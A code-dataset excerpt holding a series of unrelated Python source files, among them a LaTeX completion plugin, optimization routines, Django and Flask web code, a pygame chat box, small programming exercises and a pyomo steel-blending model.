is given so this works when being triggered by pressing \"{\"\n point += view.insert(edit, point, insert_char)\n\n do_completion = get_setting(\"fill_auto_trigger\", True)\n \n if not do_completion:\n add_closing_bracket(view, edit)\n return\n\n prefix, completions = parse_completions(\n view,\n view.substr(sublime.Region(view.line(point).a, point)))\n\n if len(completions) == 0:\n result = []\n elif not type(completions[0]) is tuple:\n result = completions\n else:\n tex_root = getTeXRoot.get_tex_root(self.view)\n if tex_root:\n root_path = os.path.dirname(tex_root)\n else:\n print(\"Can't find TeXroot. Assuming current directory is {0}\".format(os.curdir))\n root_path = os.curdir\n\n result = [[\n # Replace backslash with forward slash to fix Windows paths\n # LaTeX does not support forward slashes in paths\n os.path.normpath(os.path.join(relpath, filename)).replace('\\\\', '/'),\n os.path.normpath(os.path.join(root_path, relpath, filename))\n ] for relpath, filename in completions]\n\n def on_done(i):\n # Doing Nothing\n if i < 0:\n return\n if type(result[i]) is list: # if result[i] is a list, it comes from input, include and includegraphics\n key = result[i][0]\n else:\n key = result[i]\n\n # close bracket\n if insert_char:\n key += \"}\"\n\n startpos = point - len(prefix)\n view.run_command(\"latex_tools_replace\", {\"a\": startpos, \"b\": point, \"replacement\": key})\n caret = view.sel()[0].b\n view.sel().subtract(view.sel()[0])\n view.sel().add(sublime.Region(caret, caret))\n\n # autocomplete bracket if we aren't doing anything\n if not result and insert_char:\n add_closing_bracket(view, edit)\n else:\n view.window().show_quick_panel(result, on_done)\n","sub_path":"latex_input_completions.py","file_name":"latex_input_completions.py","file_ext":"py","file_size_in_byte":10594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"424856008","text":"\ndef merge(l1,l2):\n count=0\n i=0\n while (i<=len(l1)-1):\n if(l1[i]<=l2[count]):\n l3.append(l1[i])\n i=i+1\n else:\n l3.append(l2[count])\n count=count+1\n return l3\n\n\n\n\n\n# l1 is list1 and l2 is list2\nl1=[int(x)for x in input().split()]\nl2=[int(x)for x in input().split()]\nl3=list()\ns=merge(l1,l2)\nprint(s)\n\n\n# If lists are not sorted then combine those 2 lists and perform bubble sort or selection sort or any sorting algorithm","sub_path":"merge_two_sorted_lists.py","file_name":"merge_two_sorted_lists.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"61993151","text":"import numpy as np \nimport math\nimport time\n\n\ndef QPSO(swarm,localbcosts,beta,maxiter,costfunc,verbose,logfile):\n\tf = open(logfile,'a')\n\tf.truncate(0)\t\t\t\t\t\t\t\t\t\n\tnum_dim = swarm.shape[1]\n\tnum_partcles = swarm.shape[0]\n\tpos_best_g= np.zeros(num_dim)\n\tpos_mbest = np.zeros(num_dim)\n\terr_best_g= - 1\n\ti = 0;\n\tt_init = time.time()\n\tsat_count = 0\n\terr_best_g_prev = 0\n\tt_total_old = time.time()\n\twhile (i49:\n\t\t\tprint('saturated')\n\t\t\treturn pos_best_g,err_best_g,i\n\t\tt_old = time.time()\n\t\tpos_best_g,err_best_g,swarm = costfunc(swarm,localbcosts)\n\t\tdiff = round(int(err_best_g_prev),2)-round(int(err_best_g),2)\n\t\tif int(diff)==0:\n\t\t\tsat_count+=1\n\t\telse:\n\t\t\tsat_count = 0\n\t\tpos_mbest = np.mean(swarm[:,1],axis=0) #only one column?\n\t\tc1 = np.random.random_sample((num_partcles,1))\n\t\tc2 = np.random.random_sample((num_partcles,1))\n\t\tu = np.random.random_sample((num_partcles,1))\n\t\tk = np.random.random_sample((num_partcles,1))\n\t\t\n\t\tp = (c1*swarm[:,1]+c2*pos_best_g)/(c1+c2)\n\t\tXfactor = beta*abs(pos_mbest-swarm[:,0])*np.log(1/u) #shouldn't this be mbest?\n\n\t\tswarm[:,0] = p+np.where(k>=0.5,1,-1)*Xfactor\n\t\ti=i+1\n\t\terr_best_g_prev = err_best_g\n\t\tt_new = time.time()\n\t\tif verbose: print('iter: {}, best solution: {} time elapsed in secs:{} Tot: {}'.format(i,err_best_g,float(t_new-t_old),float(t_new-t_init)))\n\t\tf.write(str(float(err_best_g)) + '\\n')\n\t\t\n\tprint('\\nFINAL SOLUTION:')\n\t#print(' > {}'.format(self.pos_best_g))\n\tprint(' > {}\\n'.format(err_best_g))\n\tt_total_new = time.time()\n\tprint('total time elapsed:{}secs'.format(t_total_new-t_total_old))\n\treturn pos_best_g,err_best_g,maxiter\n\n\n\n\n\n\n","sub_path":"qpso_vec.py","file_name":"qpso_vec.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"571616523","text":"from pyrameter.models.random_search import RandomSearchModel\n\nimport numpy as np\nfrom scipy.stats import norm\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF\n\n\nclass GPBayesModel(RandomSearchModel):\n \"\"\"Gaussian process-based hyperparameter optimizer.\n\n Based on the Spearmint\n\n Paramaters\n ----------\n id :\n \"\"\"\n\n TYPE = 'gp'\n\n def __init__(self, id=None, domains=None, results=None,\n update_complexity=True, priority_update_freq=10, n_samples=10,\n warm_up=10, **gp_kws):\n super(GPBayesModel, self).__init__(id=id,\n domains=domains,\n results=results,\n update_complexity=update_complexity,\n priority_update_freq= \\\n priority_update_freq)\n self.n_samples = n_samples\n self.warm_up = warm_up\n self.gp_kws = gp_kws\n if 'kernel' not in self.gp_kws:\n self.gp_kws['kernel'] = RBF()\n\n def generate(self):\n if len(self.results) < self.warm_up or len(self.results) % self.warm_up == 0:\n params = super(GPBayesModel, self).generate()\n else:\n vec = self.results_to_feature_vector()\n features, losses = np.copy(vec[:, :-1]), np.copy(vec[:, -1])\n #features = features.T\n losses = np.reshape(losses, (-1, 1))\n\n gp = GaussianProcessRegressor(**self.gp_kws)\n gp.fit(features, losses)\n\n potentials = np.zeros((self.n_samples, len(self.domains)))\n for i in range(self.n_samples):\n for j in range(len(self.domains)):\n val = self.domains[j].generate(index=True)\n if isinstance(val, tuple):\n val = val[1]\n potentials[i, j] += val\n\n mu, sigma = gp.predict(potentials, return_std=True)\n best = np.min(losses)\n with np.errstate(divide='ignore'):\n gamma = (mu - best) / sigma\n ei = (mu - gamma) * norm.cdf(gamma) + sigma * norm.pdf(gamma)\n ei[sigma == 0] = 0\n\n best = potentials[np.argmax(ei, axis=1)]\n\n params = np.zeros((len(self.domains),))\n for i in range(len(self.domains)):\n domain = self.domains[i]\n params[i] += domain.map_to_domain(best[i][0],\n bound=True)\n\n return params\n","sub_path":"pyrameter/models/gp.py","file_name":"gp.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"410994039","text":"\"\"\"Setuptools installation script for triarray package.\"\"\"\n\nimport os\nfrom setuptools import setup, find_packages\nfrom distutils.util import convert_path\n\n\n# Directory of script\nroot_dir = os.path.dirname(__file__)\n\n\n# Get package version without importing it\nversion_ns = dict()\nwith open(convert_path('triarray/version.py')) as fobj:\n\texec(fobj.read(), version_ns)\nversion = version_ns['__version__']\n\n\n# Dynamic download URL based off current version - git tag should match\ndownload_url = (\n\t'https://github.com/jlumpe/triarray/archive/{}.tar.gz'\n\t.format(version)\n)\n\n\n# Read readme file for long description\nwith open(os.path.join(root_dir, 'README.md')) as fobj:\n\tlong_description = fobj.read()\n\n\nsetup(\n\tname='triarray',\n\tversion=version,\n\tdescription='Tools for working with symmetric matrices in non-redundant format.',\n\tlong_description=long_description,\n\tauthor='Jared Lumpe',\n\turl='https://github.com/jlumpe/triarray',\n\tdownload_url=download_url,\n\tlicense='MIT',\n\tclassifiers=[\n\t\t'Development Status :: 4 - Beta',\n\t\t'Intended Audience :: Developers',\n\t\t'Intended Audience :: Science/Research',\n\t\t'License :: OSI Approved :: MIT License',\n\t\t'Operating System :: OS Independent',\n\t\t'Programming Language :: Python :: 3',\n\t\t'Programming Language :: Python :: 3.5',\n\t\t'Programming Language :: Python :: 3.6',\n\t\t'Topic :: Utilities',\n\t\t'Topic :: Scientific/Engineering',\n\t\t'Topic :: Scientific/Engineering :: Mathematics',\n\t],\n\tkeywords='numpy array matrix symmetric pairwise distance similarity',\n\tpackages=find_packages(),\n\tinstall_requires=[\n\t\t'numpy>=1.11',\n\t\t'numba>=0.30',\n\t],\n)\n","sub_path":"pypi_install_script/triarray-0.2.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385571514","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth import login, logout\nfrom django.contrib import messages\nfrom .models import Category, Article\nfrom .forms import *\n\n# Category.objects.annotate(num_products=Count('products'))\n\ndef index(request, slug=None):\n categories = Category.objects.all()\n context = {\n 'categories': categories,\n }\n if not slug:\n articles = Article.objects.all()\n else:\n category = get_object_or_404(Category, slug=slug)\n articles = Article.objects.filter(category=category)\n context = {**context, 'articles': articles}\n return render(request, 'index.html', context)\n\n\ndef add_article(request):\n return render(request, 'add_article.html')\n\n\ndef article_details(request, article_id=None, slug=None):\n article = get_object_or_404(Article, pk=article_id, slug=slug)\n categories = Category.objects.all()\n context = {\n 'article': article,\n 'categories': categories\n }\n return render(request, 'article_details.html', context)\n\n\ndef user_login(request):\n if request.method == 'POST':\n form = UserLoginForm(data=request.POST)\n if form.is_valid():\n messages.success(request, 'Вы успешно выполнили вход в систему')\n user = form.get_user()\n login(request, user)\n return redirect('/')\n else:\n messages.error(request, 'Вы ввели некорректные данные')\n else:\n form = UserLoginForm()\n return render(request, 'login.html', {'form': form})\n\n\ndef user_register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, 'Вы успешно зарегистрировались')\n return redirect('/login')\n else:\n messages.error(request, 'Ошибка регистрации')\n else:\n form = UserRegisterForm()\n return render(request, 'register.html',{'form': form})\n\n\ndef user_logout(request):\n logout(request)\n return redirect('/login')","sub_path":"python/django-blog-heroku/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"168319153","text":"def largest_palindrome(string):\n\tmaxLength = 1\n\n\tstart = 0\n\tlength = len(string)\n\n\tlow = 0\n\thigh = 0\n\n\tfor i in range(1, length):\n\t\tlow = i - 1\n\t\thigh = i\n\t\twhile low >= 0 and high < length and string[low] == string[high]:\n\t\t\tif high - low + 1 > maxLength:\n\t\t\t\tstart = low\n\t\t\t\tmaxLength = high - low + 1\n\t\t\tlow -= 1\n\t\t\thigh += 1\n\n\t\tlow = i - 1\n\t\thigh = i + 1\n\t\twhile low >= 0 and high < length and string[low] == string[high]:\n\t\t\tif high - low + 1 > maxLength:\n\t\t\t\tstart = low\n\t\t\t\tmaxLength = high - low + 1\n\t\t\tlow -= 1\n\t\t\thigh += 1\n \n\treturn(string[start:start + maxLength])\n\n\nif __name__ == '__main__':\n string = input()\n print(str(largest_palindrome(string))) \n \n\n\n","sub_path":"Dynamic Programming/largest_palindromic_substring.py","file_name":"largest_palindromic_substring.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287016190","text":"\"\"\"\n1385. 幸运数字8\n8是小九的幸运数字,小九想知道在1~n的数中有多少个数字含有8。\n\n样例\n给出 n = 20, 返回2。\n\n解释:\n只有8,18 含有8。\n给出 n = 100, 返回19。\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param n: count lucky numbers from 1 ~ n\n @return: the numbers of lucky number\n \"\"\"\n # time:2038 ms\n def luckyNumber(self, n):\n # Write your code here\n count = 0\n for i in range(n):\n if '8' in str(i):\n count += 1\n return count\n","sub_path":"简单入门/1385.幸运数字8.py","file_name":"1385.幸运数字8.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"55150252","text":"'''\n NAMA = RIVALDO ISMIR\n NIM = A11.2019.12106\n KELP = A11.4118\n TGL = 24/11/2019\n'''\nbat = int(input(\"Masukan Angka Pembuat Pola : \")) #meminta user untuk memasukan sebuah nilai, kemudian nilai tersebut diisikan ke variable bat\nbar = 1 # inisiasi variable bar dengan nilai 1\nx = bat # inisiasi variable bar dengan nilai variabel bat\nwhile bar <= bat: #mulai perulangan dengan nilai bar sampai nilai variabel bat\n kol = 1 # inisiasi variable kol dengan nilai 1\n while kol <= bat: #mulai perulangan dengan nilai kol sampai nilai variabel bat\n if(kol == x): #melakukan pengecekan nilai kol , apakah nilai kol sama dengan nilai x\n print(bar, end=\" \") #print nilai bar dengan parameter end dengan value \" \" agar print selanjutnya tetap dalam baris yang sama dipisahkan dengan space\n x -= 1 #mengurangi nilai x agar nilai x berkurang 1 setiap loop nya\n elif(bar==kol): #melakukan pengecekan nilai bar , apakah nilai bar sama dengan nilai kol\n if bar > 10: #melakukan pengecekan nilai bar , apakah nilai bar masih lebih dari nilai 10\n print(bar, end=\" \") #print nilai bar dengan parameter end dengan value \" \" agar print selanjutnya tetap dalam baris yang sama dipisahkan dengan space\n else: #jika tidak memenuhi syarat if di atas maka else berjalan\n print(bar, end=\" \") #print nilai bar dengan parameter end dengan value \" \" agar print selanjutnya tetap dalam baris yang sama dipisahkan dengan space\n else: #jika tidak memenuhi syarat if di atas maka else berjalan\n print(\" \", end=\" \") #print space kosong dan menambahkan parameter end dengan value \" \" agar print selanjut nya tetap dalam baris dan dipisahkan spasi\n kol += 1 #menambahkan nilai kol agar nilai kol bertambah 1 setiap loop nya\n print(\"\") #print string kosong untuk membuat baris baru karena sebelumnya menggunakan end=\"\"\n bar += 1 #menambahkan nilai bar agar nilai bar bertambah 1 setiap loop nya\n","sub_path":"daspro_8/tugasku/nloop14.py","file_name":"nloop14.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"45491014","text":"from django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom django.db.models.functions import Lower\nfrom .models import Product, Category\n\n\n# Create your views here.\n\n\ndef all_products(request):\n \"\"\" A view to search all products, including sorting and search queries \"\"\"\n\n products = Product.objects.all()\n # initialising variable query\n query = None\n categories = None\n sort = None\n direction = None\n\n ''' The double underscore syntax\n is common when making queries in django (e.g. category__name__in)\n Using it here means we're looking for the name field of the category model.\n And we're able to do this because category and\n product are related with a foreign key.'''\n\n if request.GET:\n if 'sort' in request.GET:\n # store value of URL in the variable sortkey\n sortkey = request.GET['sort']\n # replace value of sort with value above\n sort = sortkey\n # allow case insensitive sort on the name field\n if sortkey == 'name':\n sortkey = 'lower_name'\n products = products.annotate(lower_name=Lower('name'))\n if sortkey == 'category':\n sortkey = 'category__name'\n\n if 'direction' in request.GET:\n direction = request.GET['direction']\n if direction == 'desc':\n sortkey = f'-{sortkey}'\n\n products = products.order_by(sortkey)\n\n # checking for category in get request (URL)\n if 'category' in request.GET:\n # store value of URL in the variable categories, remove comma\n categories = request.GET['category'].split(',')\n # search for products whose category name is in the list\n products = products.filter(category__name__in=categories)\n # display categories the user selected\n categories = Category.objects.filter(name__in=categories)\n\n\n # if q is in the request, store it in a variable query\n if 'q' in request.GET:\n query = request.GET['q']\n # if query is blank, return error message, then redirect back to product url\n if not query:\n messages.error(request, \"You didn't enter any search criteria\")\n return redirect(reverse('products'))\n\n # if query has a value, search for product and description using Q\n # i in front of contains make the it case insensitive\n queries = Q(name__icontains=query) | Q(description__icontains=query)\n products = products.filter(queries)\n\n current_sorting = f'{sort}_{direction}'\n\n context = {\n 'products': products,\n 'search_term': query,\n 'current_categories': categories,\n 'current_sorting': current_sorting,\n }\n\n return render(request, 'products/products.html', context)\n\n\ndef product_detail(request, product_id):\n \"\"\" A view to show individual product details \"\"\"\n\n product = get_object_or_404(Product, pk=product_id)\n\n context = {\n 'product': product,\n }\n\n return render(request, 'products/product_detail.html', context)\n","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"367708390","text":"import pygame, sys\nfrom pygame.locals import *\n\nclass ChatBox(object):\n '''chatBox(scale=1, parent=None, sizeRect=None)\n Create a chatbox with the given scale factor, parent\n rectangle, and if parent rectangle is given sizeRect\n is the size of the parent rectangle'''\n \n def __init__(self, scale=1, parent=None , sizeRect=None):\n self.rightEdge = 1920*scale\n self.bottomEdge = 1080*scale\n self.width = - sizeRect.left + sizeRect.right\n self.height = sizeRect.bottom - sizeRect.top\n self.lineWidth = self.width\n self.lineHeight = self.height/9\n self.scale = scale\n self.chatLines = [] #List of each line entered into chat\n if parent != None:\n self.area = parent.subsurface(sizeRect)\n\n self.drawChat()\n\n\n def drawChat(self):\n '''drawChat()\n drawChat creates the entered chat area, and displays\n the blank chatbox'''\n self.area.fill((255,255,255))\n self.chatEnt = ChatEnter(self.area,Rect(0, self.lineHeight*8,\n self.lineWidth, self.lineHeight), None)\n '''for i in range(7,-1,-1):\n line_rect = Rect(3, i*self._line_height+1,\n self._line_width-3, self._line_height-1)\n try:\n ChatLine( self._area, line_rect, self._chatlines[i])\n except IndexError:\n ChatLine(self._area, line_rect, \"Line {}\".format(i+1))'''\n pygame.draw.rect(self.area,(0,0,0), (0,0, self.area.get_width(),\n self.area.get_height()), 2)\n def redraw(self):\n self.drawChat()\n lineNum = 0\n for i in range(7):\n lineRect = Rect(7, lineNum*self.lineHeight+5,\n self.lineWidth-15, self.lineHeight-1)\n try:\n ChatLine( self.area, lineRect, self.chatLines[i])\n except IndexError:\n ChatLine(self.area, lineRect)\n lineNum += 1\n \n \n def getLeft(self):\n '''getLeft() returns the location of left end of the chatbox'''\n #print(self._area.get_rect().left)\n #print(self._RightEdge - self._area.get_width())\n return self.rightEdge - self.area.get_width()\n\n def getRight(self):\n '''getRight() returns the location of the right end of the chatbox'''\n #print(self._RightEdge)\n return self.rightEdge\n\n def getTopType(self):\n '''getTopType() returns the location of the top of the chatbox'''\n #print(self._BottomEdge - self._chatenter.getArea().get_rect().top)\n return self.bottomEdge - self.chatEnt.getArea().get_height()\n\n def getBottomType(self):\n '''getBottomType() returns the location of the bottom of the chatbox'''\n #print(self._BottomEdge)\n return self.bottomEdge\n\n def typeText(self, text):\n '''typeText(text) appends new text to the enter chat box'''\n self.chatEnt.appendText(text)\n\n def deleteText(self):\n '''deleteText() removes one character from the enter chat box'''\n self.chatEnt.removeText()\n\n def submitText(self):\n '''submitText() gets the text from the enter chat box, and displays\n the most recent seven lines entered by the user'''\n newText = self.chatEnt.getText()\n #print(len(newText))\n for i in newText:\n self.chatLines.append(i)\n self.chatEnt.setText(\"\")\n lineNum = 0\n for i in range(max(len(self.chatLines)-7, 0), len(self.chatLines)):\n lineRect = Rect(7, lineNum*self.lineHeight+5,\n self.lineWidth-15, self.lineHeight-1)\n ChatLine( self.area, lineRect, self.chatLines[i])\n lineNum += 1\n \n \nclass ChatLine(object):\n def __init__(self, parent, rect ,string= \" \"):\n '''ChatLine(parent, rect, string = \" \")\n ChatLine takes a parent surface, a rectangular area\n and a string, then displays the string in the given\n rectangular area.'''\n self.text = string.format(len(string))\n self.width = rect.right - rect.left \n self.height = rect.bottom - rect.top\n self.area = parent.subsurface(rect)\n self.area.fill((255,255,255))\n self.font = pygame.font.Font( None, self.height)\n self.textArea = self.font.render( self.text, 1, (0,0,0) )\n self.area.blit(self.textArea,(0,0))\n \n\n def getArea(self):\n '''getArea() returns the size of the area the text is\n being displayed in'''\n return self.area\n\n \n\n\n\nclass ChatEnter(object):\n def __init__ (self, parent,rect, action):\n '''ChatEnter(parent, rect, action)\n ChatEnter takes a parent surface, and a rectangular area\n which text will be displayed in'''\n self.lineIndex = 0\n self.currLineLen = 0\n self.height = rect.bottom - rect.top\n self.font = pygame.font.Font( None, self.height) #For testing width\n self.lines = ['']\n self.area = parent.subsurface(rect)\n self.area.fill((0xFF, 0xFF, 0xFF, 0xFF))\n pygame.draw.rect(self.area,(0,0,0), (0,0, self.area.get_width(),\n self.area.get_height()), 3)\n\n\n def chat(self):\n #Probably needs removal\n self.chatLines.append(chatLine(self.text))\n\n def curlyRemove(self):\n '''curlyRemove() returns the total size of doubled\n curly braces that were used as escape characters, so\n that they can be ignored in determining the length of\n a line of text.'''\n sizeL = 0\n sizeR = 0\n for i in self.lines[self.lineIndex]:\n if i == '{':\n sizeL += self.font.size('{')[0]\n elif i == '}':\n sizeR += self.font.size('}')[0]\n sizeTot = sizeL/2 + sizeR/2\n return sizeTot\n\n\n def appendText(self, newText):\n '''appendText(newText) takes a new string, and adds it to\n the current text being displayed'''\n self.lines[self.lineIndex] += newText\n self.currLineLen += len(newText)\n if self.lines[self.lineIndex][-1] in ['{', '}']:\n self.currLineLen -= 1 #Ignoring doubled curly braces needed as escape characters\n if self.font.size(self.lines[self.lineIndex])[0] - self.curlyRemove() > self.area.get_width()-5: #Reached end of line\n self.currLineLen = 0\n lastSpace = self.lines[self.lineIndex].rfind(' ')\n if lastSpace > -1: #If no space in current line, simply wrap text\n newLineStart = self.lines[self.lineIndex][lastSpace+1:]\n self.lines[self.lineIndex] = self.lines[self.lineIndex][:lastSpace]\n self.lineIndex += 1\n self.lines.append(newLineStart)\n self.currLineLen = len(newLineStart)\n else: #If there was a space, wrap any text after last space to new line\n nextLine = self.lines[self.lineIndex][-1]\n if self.lines[self.lineIndex][-1] in ['{', '}']: #Double braces for escape character\n self.lines[self.lineIndex] = self.lines[self.lineIndex][:len(self.lines[self.lineIndex])-2]\n self.lines.append(nextLine + nextLine)\n else:\n self.lines[self.lineIndex] = self.lines[self.lineIndex][:len(self.lines[self.lineIndex-1])]\n self.lines.append(nextLine)\n self.currLineLen = 1\n self.lineIndex += 1\n \n ChatLine(self.area, self.area.get_rect(), self.lines[self.lineIndex])\n pygame.draw.rect(self.area,(0,0,0), (0,0, self.area.get_width(),\n self.area.get_height()), 3)\n\n def removeText(self):\n '''removeText() deletes a character from the existing text being entered'''\n if len(self.lines[self.lineIndex]) < 1 and self.lineIndex == 0: #If no text left to delete\n return\n if self.lines[self.lineIndex][-1] in ['{', '}']: #Delete two characters if a brace\n self.lines[self.lineIndex] = self.lines[self.lineIndex][0:-2]\n else: #Otherwise simply delete the character\n self.lines[self.lineIndex] = self.lines[self.lineIndex][0:-1]\n self.currLineLen -= 1\n if len(self.lines[self.lineIndex]) < 1 and self.lineIndex > 0: #Remove the line if backspaced to beginning of line\n if self.lineIndex >= 0:\n self.lineIndex -= 1\n self.lines.pop()\n ChatLine(self.area, self.area.get_rect(), self.lines[self.lineIndex])\n pygame.draw.rect(self.area,(0,0,0), (0,0, self.area.get_width(),\n self.area.get_height()), 3)\n\n def getArea(self):\n '''getArea() returns the size of the enter chat box'''\n return self.area\n\n def getText(self):\n '''getText() returns the lines of text needing entered into chat'''\n return self.lines\n\n def setText(self, newText):\n '''setText(newText) takes a string and sets the current text field to that string'''\n self.lines = [newText]\n self.lineIndex = 0\n self.currLineLen = 0\n ChatLine(self.area, self.area.get_rect(), self.lines[self.lineIndex])\n pygame.draw.rect(self.area,(0,0,0), (0,0, self.area.get_width(),\n self.area.get_height()), 3)\n \n \n\n\ndef main():\n pass\n\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"ChatBoxCopy.py","file_name":"ChatBoxCopy.py","file_ext":"py","file_size_in_byte":9514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"572587792","text":"import glob\nfrom distutils.core import setup\n\ncpca_cpp_so = glob.glob('cpca_cpp*.so')[0]\nccpca_cpp_so = glob.glob('ccpca_cpp*.so')[0]\n\nsetup(\n name='ccpca',\n version=0.13,\n packages=[''],\n package_dir={'': '.'},\n package_data={'': [cpca_cpp_so, ccpca_cpp_so]},\n py_modules=['cpca_cpp', 'ccpca_cpp', 'cpca', 'ccpca'])\n","sub_path":"server/ccpca/ccpca/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"545009866","text":"\"\"\"_version.py\n\nCanonical location for authorship information\n__version__ is a PEP-386 compliant version string,\nmaking use of distutils.version.StrictVersion\n\"\"\"\n\nfrom distutils.version import LooseVersion\n\n__author__ = \"Michael Greene\"\n__copyright__ = \"Copyright (c) 2014 Michael Greene\"\n__license__ = \"MIT\"\n__version__ = str(LooseVersion(\"0.1.0\"))\n","sub_path":"pgpy/_author.py","file_name":"_author.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"652940868","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField, BooleanField, SelectField, \\\n SubmitField, SelectMultipleField\nfrom wtforms.validators import Required, Length, Email, Regexp\nfrom wtforms import ValidationError\nfrom ..models import Role, User\nfrom flask_table import Table, Col\n\n\nclass EditUserForm(FlaskForm):\n name = StringField('Real name', validators=[Length(1, 64),\n Regexp('^[A-Za-z][A-Za-z\\s]*$', 0,\n 'Names must have only letters, '\n 'or space')])\n email = StringField('Email', validators=[Required(), Length(1, 64), Email()])\n device = TextAreaField('Device')\n submit = SubmitField('Submit')\n\n\nclass EditDeviceForm(FlaskForm):\n name = StringField('Device name', validators=[Required(), Length(1, 64)])\n users = TextAreaField('User names(separated by comma)')\n status = SelectField('Device status', choices=[('Normal', 'Normal'), ('Broken', 'Broken'), ('Fixing', 'Fixing'), ('Terminated', 'Terminated')])\n device_type = SelectField('Device type')\n details = TextAreaField('Details')\n submit = SubmitField('Submit')\n\n def __init__(self, device_types, *args, **kwargs):\n super(EditDeviceForm, self).__init__(*args, **kwargs)\n self.device_type.choices = [(device[\"type\"], device[\"type\"]) for device in device_types]\n\n\nclass ItemTable(Table):\n name = Col('Name')\n id = Col('id')\n classes = ['table', 'table-bordered']\n status = Col('status')\n details = Col('details')\n # users = Col('users')\n\n\nclass Item(object):\n def __init__(self, name, id, status, details):\n self.name = name\n self.id = id\n self.status = status\n self.details = details\n # ud = db.session.query(user_device).filter_by(device_id=id).all()\n # self.users = ud\n\n\nclass DeleteDeviceTypeForm(FlaskForm):\n device_type = SelectField('Device type')\n submit = SubmitField('Delete Confirm')\n\n def __init__(self, device_types, *args, **kwargs):\n super(DeleteDeviceTypeForm, self).__init__(*args, **kwargs)\n self.device_type.choices = [(device[\"type\"], device[\"type\"]) for device in device_types]\n","sub_path":"test_device_appointment_system/app/main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330299792","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 19 11:12:06 2021\n\n@author: gualandi\n\"\"\"\n\nimport pyomo\n\nfrom pyomo.environ import ConcreteModel, Var, Objective, Constraint, SolverFactory\nfrom pyomo.environ import maximize, Binary, RangeSet, PositiveIntegers, NonNegativeReals\n\n# Problem Description\n\"\"\"\nThe industrial steel can be easily recycled, since it is possible to burn any\nscrap to get only liquid steel (without plastics, glasses, ...).\nHowever, it is hard to separate each single metal presents in the scrap,\nand as a consequence, beside iron, we can get also chromium, nichel, and\nother impurities in the liquid steel.\nDepending on the type of production, some metals are desiderable, while others\nare not. For example, the stainless steel 18/10 must have 18% of chromium and\n10% of nichel (consider that chromium and nichel are very expensive, much more \nthan the steel itself). \n\nSuppose that the Rossi's Steel company of Voghera can choose to buy some iron\nscrap block with different properties regarding the different metals contained in \neach block. The company want to produce at minimum cost 100 quintals of stainless \nsteel 18/10, which must have at least 65% of iron and at most 1% of \nimpurity materials. Which fraction of each block is going to buy?\n\nThe data of the problem are given below.\n\n\"\"\"\n\n# Data of the problem (in theory, read data from .csv or excel file)\n\n# Blocks you can byu\nBlocks = ['Block1', 'Block2', 'Block3', 'Block4', 'Block5', 'Block6']\n\nWeights = [30, 90, 50, 70, 60, 50] # In quintal\nCosts = [50, 100, 80, 85, 92, 115] # Thousand of euros\n\n# Componets of metal in each block (given in percetange)\nCs = [\n [93, 76, 74, 65, 72, 68], # Ferro\n [5, 13, 11, 16, 6, 23], # Cromo\n [0, 11, 12, 14, 20, 8], # Nichel\n [2, 0, 3, 5, 2, 1]\n] # Impurità\n\n# Create concrete model\nm = ConcreteModel()\n\n# Set of indices\nm.I = RangeSet(0, len(Blocks) - 1)\n\n\n# Variables\ndef fb(m, i):\n return 0, Weights[i]\n\n\nm.x = Var(m.I, domain=NonNegativeReals, bounds=fb)\n\n# Objective Function\nm.obj = Objective(expr=sum(Costs[i] * m.x[i] for i in m.I))\n\n# Production Constraints\nm.c1 = Constraint(expr=sum(Cs[0][i] / 100 * m.x[i] for i in m.I) >= 65)\n\nm.c2 = Constraint(expr=sum(Cs[1][i] / 100 * m.x[i] for i in m.I) == 18)\n\nm.c3 = Constraint(expr=sum(Cs[2][i] / 100 * m.x[i] for i in m.I) == 10)\n\nm.c4 = Constraint(expr=sum(Cs[3][i] / 100 * m.x[i] for i in m.I) <= 1)\n\n# Overall production\nm.c5 = Constraint(expr=sum(m.x[i] for i in m.I) == 100)\n\n# Write the LP model in standard format\nm.write(\"misc.lp\")\n\n# Solve the model\nsol = SolverFactory('glpk').solve(m, tee=True)\n#sol = SolverFactory('gurobi').solve(m, tee=True)\n\n# CHECK SOLUTION STATUS\n\n# Get a JSON representation of the 